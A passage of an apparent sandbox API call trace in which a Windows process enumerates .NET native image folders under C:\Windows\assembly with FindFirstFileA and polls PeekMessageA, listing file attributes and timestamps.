lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57b72f00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x57b72f00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57b72f00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.124] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V28a60cc2#\\d02f058c4b5d4e6ef81836c35c4b0bd1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57b72f00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x57b72f00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57b72f00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.127] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.129] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.130] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V4381984f#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e4d250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1e733b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1e733b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.130] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V4381984f#\\0466ad419d12860760e5dfe6bbf49de5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e733b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2fb881f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x2fb881f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.133] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.135] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.142] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V5499e76b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57cc9b60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x57cc9b60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57cc9b60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.143] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V5499e76b#\\dcdef78dca044545e73929c53d8d9a43\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57cc9b60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x57cc9b60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57cc9b60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.147] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.149] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.149] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V883708cb#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57285c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x57285c80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57285c80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.150] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V883708cb#\\579e80e470317b178fe09b5686e12cce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57285c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x57285c80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57285c80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.153] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.155] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.156] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc68b5e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb19e9840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb19e9840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.157] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8ce00c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa8d06220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa8d06220, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.160] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.162] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.162] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vb0a86591#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a6ee90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1a6ee90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1a6ee90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.164] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vb0a86591#\\228955cf91a3ceb77127f96b1222d201\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a6ee90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2fac9b10, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x2fac9b10, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.166] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.168] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.168] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf4833439#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe15c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xe15c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xe15c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.170] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf4833439#\\676b93f5d63c21fb20d41b7fe5758d87\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe15c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xe15c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xe15c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.200] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.203] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.203] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf9a08577#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x571a1440, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x571a1440, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x571a1440, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.204] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vf9a08577#\\9c5e3d489fd152e470fb0dd644060368\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x571a1440, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x571a1440, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x571a1440, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.207] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.209] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.210] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vff41975e#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x578c5640, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x578c5640, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x578c5640, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.210] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Vff41975e#\\76766ecb686f428f61682a0318998f92\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x578c5640, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x578c5640, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x578c5640, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.213] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.215] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.216] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.VisualC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f31a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1f31a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1f31a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.217] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.VisualC\\b27195163d454fb631326636a62cc5f7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f31a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1f31a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1f31a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.217] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.221] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.223] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.W71daf281#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b91f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x21b91f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x21b91f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.224] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.W71daf281#\\75db5140d703c2ba2c0d6c42d7143432\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b91f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x21df350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x21df350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.226] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.228] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.229] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\MSBuild\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d9ccf0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf9d9ccf0, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf9d9ccf0, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.230] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\MSBuild\\e8dca170b34839f04acc1ffb1f703533\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9d9ccf0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf9dc2e50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf9dc2e50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630032, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.231] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.235] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.235] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20a98c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb24c5ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb24c5ca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.236] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9128b820, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x912b1980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x912b1980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x330035, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.237] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.241] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.241] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio080b339b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x294f810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x294f810, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x294f810, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.243] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio080b339b#\\b60d72c8bd80f4f8407c994030b09806\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x294f810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x294f810, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x294f810, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.246] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.248] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.249] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c9175f8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f44580, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1bfeb80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1bfeb80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.252] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c9175f8#\\6d817a204b0f8f8ee2e0a4d3c43b2e65\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1fcba0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xac1fcba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xac1fcba0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.256] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.258] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.259] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c968d57#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15348aa0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb148e6c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb148e6c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.260] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1c968d57#\\0c63851c40b3ec90a0a8800695da85b9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa51cfee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa51cfee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa51cfee0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.265] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.267] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.267] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1da2af67#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, 